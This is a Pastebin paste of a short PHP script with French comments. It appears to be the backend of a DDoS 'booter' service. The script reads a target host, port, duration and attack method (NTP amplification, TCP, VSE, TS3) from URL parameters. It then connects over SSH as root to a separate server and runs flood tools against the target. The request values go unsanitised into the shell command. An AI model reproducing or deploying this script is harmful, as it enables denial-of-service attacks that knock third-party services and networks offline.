Advertisement
Guest User

Untitled

a guest
Jul 9th, 2016
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4.  
  5. // Début de la configuration
  6. $server_ip = ""; // Adresse IP du serveur
  7. $server_pass = ""; // Mot de passe du serveur
  8. $server_user = "root"; // Nom d'utilisateur du serveur (Par défaut root)
  9. // Fin de la configuration
  10.  
  11. $host = $_GET['target'];
  12. $port = $_GET['port'];
  13. $time = $_GET['time'];
  14. $method = strtoupper($_GET['method']);
  15.  
  16. if ($method == "UDP") { $command = "./ntp ".$host." ".$port." ntplist.txt 20 -1 ".$time; }
  17. if ($method == "TCP") { $command = "./try ".$host." ".$port." ".$time." 10"; }
  18. if ($method == "VSE") { $command = "./vse ".$host." ".$port." 20 ".$time; }
  19. if ($method == "TS3") { $command = "./ts3 ".$host." ".$port." 20 ".$time; }
  20.  
  21.  
  22.  
  23. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  24. if(!($con = ssh2_connect($server_ip, 22))){
  25. echo "Erreur : Problème de connexion";
  26. } else {
  27.  
  28. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  29. echo "Erreur : Utilisateur ou mot de passe incorrect";
  30. } else {
  31.  
  32. if (!($stream = ssh2_exec($con, $command ))) {
  33. echo "Erreur : Impossible d'éxécuter les commandes\n";
  34. } else {
  35.  
  36. stream_set_blocking($stream, true);
  37. $data = "";
  38. while ($buf = fread($stream,4096)) {
  39. $data .= $buf;
  40. }
  41. echo "Done sur $host :) Pdt $time ";
  42. fclose($stream);
  43. }
  44. }
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement